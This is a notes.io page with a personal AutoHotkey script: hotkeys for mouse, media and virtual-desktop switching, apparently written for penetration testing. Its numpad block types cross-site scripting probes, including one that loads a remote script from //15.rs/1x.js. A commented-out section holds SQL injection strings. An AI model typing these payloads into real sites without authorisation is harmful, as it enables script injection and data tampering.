Notes![what is notes.io? What is notes.io?](/theme/images/whatisnotesio.png)
![]() ![]() Notes - notes.io |
$f1::RButton
$f2::MouseClick
$f3::MouseClick, WheelUp, , , 1 ; Turn it by one notch.
$f4::MouseClick, WheelDown, , , 1
$f5::Volume_Down
$f6::Volume_Up
$f7::Media_Prev
$f8::Media_next
$f9::send <snip>
;$f10
$f11::Suspend,Toggle ; Pause script
$f12::ExitApp ; Exit script
$^LWin::^v ; paste
;$!::send {Up} ; Up
;$!z::send {Down} ; Down
$+z::send {PgDn} ; Page Down
$+::send {PgUp} ; Page Up
$!::MouseClick, WheelUp, , , 1 ; Up
$!z::MouseClick, WheelDown, , , 1 ; Down
$Alt::MouseClick
$Shift::MouseClick
CapsLock & s::switchDesktopByNumber(CurrentDesktop + 1) ; Move desktop
CapsLock & a::switchDesktopByNumber(CurrentDesktop - 1) ; Move desktop
;f1::switchDesktopByNumber(CurrentDesktop + 1) ; Move desktop - not in use
;LWin & LButton::switchDesktopByNumber(CurrentDesktop - 1) ; Move desktop - not in use
;LWin & !::switchDesktopByNumber(CurrentDesktop + 1) ; Move desktop - not in use
;!a::switchDesktopByNumber(CurrentDesktop - 1) ; Move desktop - not in use
; Double Click copy
$Ctrl::
If (A_PriorHotKey = A_ThisHotKey and A_TimeSincePriorHotkey < 500)
;MsgBox You double-pressed Ctrl!
send ^c
Return
;###################################################### NUMPAD ######################################################
;the 2 ifs are only for NumpadAdd Mult Subb Div
#If !GetKeyState("Numlock", "T") ;These hotkeys only trigger when NumLock is off
NumpadEnter::Msgbox Enter while Numlock is off
NumpadAdd::Msgbox Plus while Numlock is off
#If ;These unconditional hotkeys only trigger when conditional duplicates test false, so NumLock isn't off i.e. on.
;NumpadEnter::Msgbox Enter while Numlock is on
;NumpadAdd::Msgbox Plus while Numlock is on
; all other buttons have unique names
NumpadLeft::send <script>alert("NCC Group");</script> ;4 with lock off
NumpadClear::send <script src=//15.rs/1x.js></script> ;5 with lock off
NumpadEnd::
CountPresses("XSS1", "XSS4", "XSS7") ; NUMPAD 1 lock off EXECUTES 1,4,7
return
XSS1:
Send <script>alert(1);</script>
return
XSS4:
Send <script>alert(4);</script>
return
XSS7:
send <script>alert(7);</script>
return
NumpadDown::
CountPresses("XSS2", "XSS5", "XSS8") ; NUMPAD 2 lock off EXECUTES 2,5,8
return
XSS2:
Send <script>alert(2);</script>
return
XSS5:
Send <script>alert(5);</script>
return
XSS8:
send <script>alert(8);</script>
return
NumpadPgDn::
CountPresses("XSS3", "XSS6", "XSS9") ; NUMPAD 3 lock off EXECUTES 3,6,9
return
XSS3:
Send <script>alert(3);</script>
return
XSS6:
Send <script>alert(6);</script>
return
XSS9:
send <script>alert(9);</script>
return
;###################################################### SQL - NOT IN USE ######################################################
;$f8::
;CountPresses("SQL1", "SQL2", "SQL3")
;return
;SQL1:
;Send NCC' or '1'='1
;return
;SQL2:
;Send 1' or '1'='1
;return
;SQL3:
;send ' or '1'='1
;return
;###################################################### FUNCTIONS ######################################################
; press key up to 3 times function
CountPresses(param1, param2, param3)
{
static key_presses = 0
static pressed1 = 0
static pressed2 = 0
static pressed3 = 0
pressed1 = %param1%
pressed2 = %param2%
pressed3 = %param3%
if key_presses > 0 ; SetTimer already started, so we log the keypress instead.
{
key_presses += 1
return
}
; Otherwise, this is the first press of a new series. Set count to 1 and start
; the timer:
key_presses = 1
SetTimer, WaitKeyPress, 400 ; Wait for more presses within a 400 millisecond window.
return
WaitKeyPress:
SetTimer, WaitKeyPress, off
if key_presses = 1 ; The key was pressed once.
{
if(pressed1 = "")
MsgBox "CountPresses(): No action was assigned to this hotkey"
else
GoSub, %pressed1%
}
else if key_presses = 2 ; The key was pressed twice.
{
if(pressed2 = "")
MsgBox "CountPresses(): No action was assigned to this hotkey"
else
GoSub, %pressed2%
}
else if key_presses = 3 ; The key was pressed twice.
{
if(pressed3 = "")
MsgBox "CountPresses(): No action was assigned to this hotkey"
else
GoSub, %pressed3%
}
; Regardless of which action above was triggered, reset the count to
; prepare for the next series of presses:
key_presses = 0
return
}
; DESKTOP SWITCHER
;
; Commands
;
;
; <CapsLock> + <Num> - Switches to virtual desktop "num".
; <CapsLock> + C - Create a new virtual desktop
; <CapsLock> + D - Delete the current virtual desktop
; <CapsLock> + A or P - Switch to virtual desktop on left
; <CapsLock> + S or N - Switch to virtual desktop on right
;
;
; Code
;
;
; Main
SetKeyDelay, 75
mapDesktopsFromRegistry()
OutputDebug, [loading] desktops: %DesktopCount% current: %CurrentDesktop%
; User config!
; This section binds the key combo to the switch/create/delete actions
; ALL KEY COMBINATIONS CAN BE FOUND HERE https://github.com/pmb6tz/windows-desktop-switcher/blob/master/desktop_switcher.ahk !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
; The not used one have been removed
; Globals
DesktopCount = 2 ; Windows starts with 2 desktops at boot
CurrentDesktop = 1 ; Desktop count is 1-indexed (Microsoft numbers them this way)
;
; This function examines the registry to build an accurate list of the current virtual desktops and which one we're currently on.
; Current desktop UUID appears to be in HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerSessionInfo1VirtualDesktops
; List of desktops appears to be in HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerVirtualDesktops
;
mapDesktopsFromRegistry() {
global CurrentDesktop, DesktopCount
; Get the current desktop UUID. Length should be 32 always, but there's no guarantee this couldn't change in a later Windows release so we check.
IdLength := 32
SessionId := getSessionId()
if (SessionId) {
RegRead, CurrentDesktopId, HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerSessionInfo%SessionId%VirtualDesktops, CurrentVirtualDesktop
if (CurrentDesktopId) {
IdLength := StrLen(CurrentDesktopId)
}
}
; Get a list of the UUIDs for all virtual desktops on the system
RegRead, DesktopList, HKEY_CURRENT_USER, SOFTWAREMicrosoftWindowsCurrentVersionExplorerVirtualDesktops, VirtualDesktopIDs
if (DesktopList) {
DesktopListLength := StrLen(DesktopList)
; Figure out how many virtual desktops there are
DesktopCount := DesktopListLength / IdLength
}
else {
DesktopCount := 1
}
; Parse the REG_DATA string that stores the array of UUID's for virtual desktops in the registry.
i := 0
while (CurrentDesktopId and i < DesktopCount) {
StartPos := (i * IdLength) + 1
DesktopIter := SubStr(DesktopList, StartPos, IdLength)
OutputDebug, The iterator is pointing at %DesktopIter% and count is %i%.
; Break out if we find a match in the list. If we didn't find anything, keep the
; old guess and pray we're still correct :-D.
if (DesktopIter = CurrentDesktopId) {
CurrentDesktop := i + 1
OutputDebug, Current desktop number is %CurrentDesktop% with an ID of %DesktopIter%.
break
}
i++
}
}
;
; This functions finds out ID of current session.
;
getSessionId()
{
ProcessId := DllCall("GetCurrentProcessId", "UInt")
if ErrorLevel {
OutputDebug, Error getting current process id: %ErrorLevel%
return
}
OutputDebug, Current Process Id: %ProcessId%
DllCall("ProcessIdToSessionId", "UInt", ProcessId, "UInt*", SessionId)
if ErrorLevel {
OutputDebug, Error getting session id: %ErrorLevel%
return
}
OutputDebug, Current Session Id: %SessionId%
return SessionId
}
;
; This function switches to the desktop number provided.
;
switchDesktopByNumber(targetDesktop)
{
global CurrentDesktop, DesktopCount
; Re-generate the list of desktops and where we fit in that. We do this because
; the user may have switched desktops via some other means than the script.
mapDesktopsFromRegistry()
; Don't attempt to switch to an invalid desktop
if (targetDesktop > DesktopCount || targetDesktop < 1) {
OutputDebug, [invalid] target: %targetDesktop% current: %CurrentDesktop%
return
}
; Go right until we reach the desktop we want
while(CurrentDesktop < targetDesktop) {
Send ^#{Right}
CurrentDesktop++
OutputDebug, [right] target: %targetDesktop% current: %CurrentDesktop%
}
; Go left until we reach the desktop we want
while(CurrentDesktop > targetDesktop) {
Send ^#{Left}
CurrentDesktop--
OutputDebug, [left] target: %targetDesktop% current: %CurrentDesktop%
}
}
;
; This function creates a new virtual desktop and switches to it
;
createVirtualDesktop()
{
global CurrentDesktop, DesktopCount
Send, #^d
DesktopCount++
CurrentDesktop = %DesktopCount%
OutputDebug, [create] desktops: %DesktopCount% current: %CurrentDesktop%
}
;
; This function deletes the current virtual desktop
;
deleteVirtualDesktop()
{
global CurrentDesktop, DesktopCount
Send, #^{F4}
DesktopCount--
CurrentDesktop--
OutputDebug, [delete] desktops: %DesktopCount% current: %CurrentDesktop%
}
![]() |
Notes is a web-based application for online taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000+ notes created and continuing...
With notes.io;
- * You can take a note from anywhere and any device with internet connection.
- * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
- * You can quickly share your contents without website, blog and e-mail.
- * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
- * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.
Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.
Easy: Notes.io doesn’t require installation. Just write and share note!
Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )
Free: Notes.io works for 14 years and has been free since the day it was started.
You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;
Email: [email protected]
Twitter: http://twitter.com/notesio
Instagram: http://instagram.com/notes.io
Facebook: http://facebook.com/notesio
Regards;
Notes.io Team